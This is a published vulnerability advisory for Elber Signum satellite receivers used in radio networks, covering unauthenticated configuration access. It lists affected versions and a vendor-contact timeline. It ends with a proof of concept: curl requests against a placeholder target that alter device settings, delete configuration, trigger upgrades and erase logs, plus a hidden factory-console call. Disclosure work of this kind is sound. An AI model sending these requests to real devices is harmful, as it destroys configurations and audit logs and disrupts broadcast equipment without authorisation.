Gjoko KrsticZSL-2024-5815Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config
7.3 High
AI Score
Confidence
Low
Title: Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config
Advisory ID: ZSL-2024-5815
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024
Summary
The SIGNUM controller from Elber satellite equipment demodulates one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving 256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned and configured in 1+1 seamless switching for redundancy. Redundancy can also be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II audio codec, providing analog and digital outputs; moreover, it’s possible to set a data PID to be decoded and passed to the internal RDS encoder, generating the dual MPX FM output.
Description
The device suffers from an unauthenticated device configuration and client-side hidden functionality disclosure.
Vendor
Elber S.r.l. - <https://www.elber.it>
Affected Version
1.999 Revision 1243
1.317 Revision 602
1.220 Revision 1250
1.220 Revision 1248_1249
1.220 Revision 597
1.217 Revision 1242
1.214 Revision 1023
1.193 Revision 924
1.175 Revision 873
1.166 Revision 550
Tested On
NBFM Controller
embOS/IP
Vendor Status
[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.
PoC
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] <https://packetstormsecurity.com/files/178135/>
[2] <https://www.exploit-db.com/exploits/52003>
Changelog
[17.04.2024] - Initial release
[22.05.2024] - Added reference [1] and [2]
Contact
Zero Science Lab
Web: <https://www.zeroscience.mk>
e-mail: [email protected]
<html><body><p>Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config
Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.999 Revision 1243
1.317 Revision 602
1.220 Revision 1250
1.220 Revision 1248_1249
1.220 Revision 597
1.217 Revision 1242
1.214 Revision 1023
1.193 Revision 924
1.175 Revision 873
1.166 Revision 550
Summary: The SIGNUM controller from Elber satellite equipment demodulates
one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving
256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned
and configured in 1+1 seamless switching for redundancy. Redundancy can also
be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II
audio codec, providing analog and digital outputs; moreover, it’s possible
to set a data PID to be decoded and passed to the internal RDS encoder,
generating the dual MPX FM output.
Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.
Tested on: NBFM Controller
embOS/IP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5815
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5815.php
18.08.2023
--
# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp=''
Configuration applied
# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully
# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully
# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2
Logs erased
# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month
# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully
# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()
# Etc.
</p></body></html>7.3 High
AI Score
Confidence
Low